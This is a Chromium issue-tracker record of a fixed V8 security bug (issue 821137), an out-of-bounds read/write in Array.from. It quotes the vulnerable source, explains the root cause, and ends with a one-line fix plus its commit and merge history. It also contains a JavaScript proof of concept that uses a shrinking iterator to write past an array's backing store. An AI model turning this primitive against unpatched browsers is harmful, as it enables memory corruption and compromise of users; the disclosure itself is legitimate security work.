New issue
Advanced search Search tips

Issue 821137 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Mar 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security

Blocking:
issue 820838



Sign in to add a comment

OOB read/write using Array.prototype.from

Project Member Reported by mbarbe...@chromium.org, Mar 12 2018

Issue description

This is copied from the report in issue 820838:

OOB read/write using Array.prototype.from

VULNERABILITY DETAILS
v8/src/builtins/builtins-array-gen.cc:1945:
  void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                         TNode<Number> length) {
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.

    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    BranchIfFastJSArray(array, context, &fast, &runtime);

    BIND(&fast);
    {
      TNode<JSArray> fast_array = CAST(array);

      TNode<Smi> length_smi = CAST(length);
      TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
      CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

      // 2) Ensure that the length is writable.
      // TODO(delphick): This check may be redundant due to the
      // BranchIfFastJSArray above.
      EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

      // 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);

      StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi);

      Goto(&done);
    }

    BIND(&runtime);
    {
      CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
                  CodeStubAssembler::LengthStringConstant(), length,
                  SmiConstant(LanguageMode::kStrict));
      Goto(&done);
    }

    BIND(&done);
  }
};

// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
[...]
    BIND(&loop);
    {
      // Loop while iterator is not done.
      TNode<Object> next = CAST(iterator_assembler.IteratorStep(
          context, iterator_record, &loop_done, fast_iterator_result_map));
      TVARIABLE(Object, value,
                CAST(iterator_assembler.IteratorValue(
                    context, next, fast_iterator_result_map)));

      // If a map_function is supplied then call it (using this_arg as
      // receiver), on the value returned from the iterator. Exceptions are
      // caught so the iterator can be closed.
      {
        Label next(this);
        GotoIf(IsUndefined(map_function), &next);

        CSA_ASSERT(this, IsCallable(map_function));
        Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
                         this_arg, value.value(), index.value());
        GotoIfException(v, &on_exception, &var_exception);
        value = CAST(v);
        Goto(&next);
        BIND(&next);
      }

      // Store the result in the output object (catching any exceptions so the
      // iterator can be closed).
      Node* define_status =
          CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                      index.value(), value.value());
      GotoIfException(define_status, &on_exception, &var_exception);

      index = NumberInc(index.value());

      Goto(&loop);
    }

    BIND(&loop_done);
    {
      length = index;
      Goto(&finished);
    }
[...]
  BIND(&finished);

  // Finally set the length on the output and return it.
  GenerateSetLength(context, array.value(), length.value());
  args.PopAndReturn(array.value());
}


When the new length of a fast array is greater than the old length, GenerateSetLength() [1] should
also fall back to the runtime to resize the backing store. Otherwise, the array ends up in a state
where data past the end of the backing store can be accessed.

ArrayFrom() might pass an array whose length is less than expected to GenerateSetLength() if a
user-defined iterator shrinks the array right before returning the "end of iteration" marker.

REPRODUCTION CASE
<script>
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
  {
    counter : 0,
    max : 1024 * 1024 * 8,
    next() {
      let result = this.counter++;
      if (this.counter == this.max) {
        oobArray.length = 0;
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });
oobArray[oobArray.length - 1] = 0x41414141;
</script>
 
Owner: hablich@chromium.org
Status: Assigned (was: Available)
hablich: Would you mind helping us find an owner for this?
Cc: bmeu...@chromium.org petermarshall@chromium.org
Labels: Pri-1
Owner: jgruber@chromium.org
Jakob, I think you recently did some work on Array.prototype.from, right? Can you please take a look?
Components: -Blink>JavaScript Blink>JavaScript>Compiler
Cc: jgruber@chromium.org
Owner: delph...@chromium.org
Dan, ptal. Is this related to your CL?
Project Member

Comment 5 by sheriffbot@chromium.org, Mar 13 2018

Labels: M-65
Project Member

Comment 6 by ClusterFuzz, Mar 13 2018

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6092839717699584.
Labels: -Security_Impact-Stable Security_Impact-Beta
Labels: -M-65 M-66
Labels: ReleaseBlock-Beta
I think the fix is very simple:

      // 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);

This should change to SmiNotEqual (along with an updated comment).
Project Member

Comment 11 by bugdroid1@chromium.org, Mar 14 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d

commit b5da57a06de8791693c248b7aafc734861a3785d
Author: Dan Elphick <delphick@chromium.org>
Date: Wed Mar 14 11:31:42 2018

[builtins] Fix OOB read/write using Array.from

Always use the runtime to set the length on an array if it doesn't match
the expected length after populating it using Array.from.

Bug:  chromium:821137 
Change-Id: I5a730db58de61ba789040e6dfc815d6067fbae64
Reviewed-on: https://chromium-review.googlesource.com/962222
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Dan Elphick <delphick@chromium.org>
Cr-Commit-Position: refs/heads/master@{#51919}
[modify] https://crrev.com/b5da57a06de8791693c248b7aafc734861a3785d/src/builtins/builtins-array-gen.cc
[add] https://crrev.com/b5da57a06de8791693c248b7aafc734861a3785d/test/mjsunit/regress/regress-821137.js

Labels: Merge-Request-66
Project Member

Comment 13 by sheriffbot@chromium.org, Mar 14 2018

Status: Fixed (was: Assigned)
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: -Merge-Request-66 Merge-Approved-66
confirmed with delphick@ that it's extremely safe, and with awhalley@ that this is indeed a beta blocker. Approving this for merge to M66. Branch:3359
Cc: adamk@chromium.org
+ adamk@ - can you please merge this change to M66 V8 branch? Since this is blocking Beta, and we're cutting candidate soon, need to ensure it's merged today. 
Cc: jkummerow@chromium.org
+ jkummerow
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 14 2018

Labels: merge-merged-6.6
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0

commit 5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0
Author: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed Mar 14 19:25:00 2018

Merged: [builtins] Fix OOB read/write using Array.from

Revision: b5da57a06de8791693c248b7aafc734861a3785d

BUG= chromium:821137 
TBR=delphick@chromium.org
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true

Change-Id: I6e84add607f519e64add9bd7ba5500f58004c899
Reviewed-on: https://chromium-review.googlesource.com/962673
Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.6@{#23}
Cr-Branched-From: d500271571b92cb18dcd7b15885b51e8f437d640-refs/heads/6.6.346@{#1}
Cr-Branched-From: 265ef0b635f8761df7c89eb4e8ec9c1a6ebee184-refs/heads/master@{#51624}
[modify] https://crrev.com/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0/src/builtins/builtins-array-gen.cc
[add] https://crrev.com/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0/test/mjsunit/regress/regress-821137.js

Labels: -Merge-Approved-66
Project Member

Comment 19 by sheriffbot@chromium.org, Mar 15 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -ReleaseBlock-Beta
Labels: Hotlist-Torque
Project Member

Comment 22 by sheriffbot@chromium.org, Jun 21 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: tebbi@chromium.org
Cc: jarin@chromium.org

Sign in to add a comment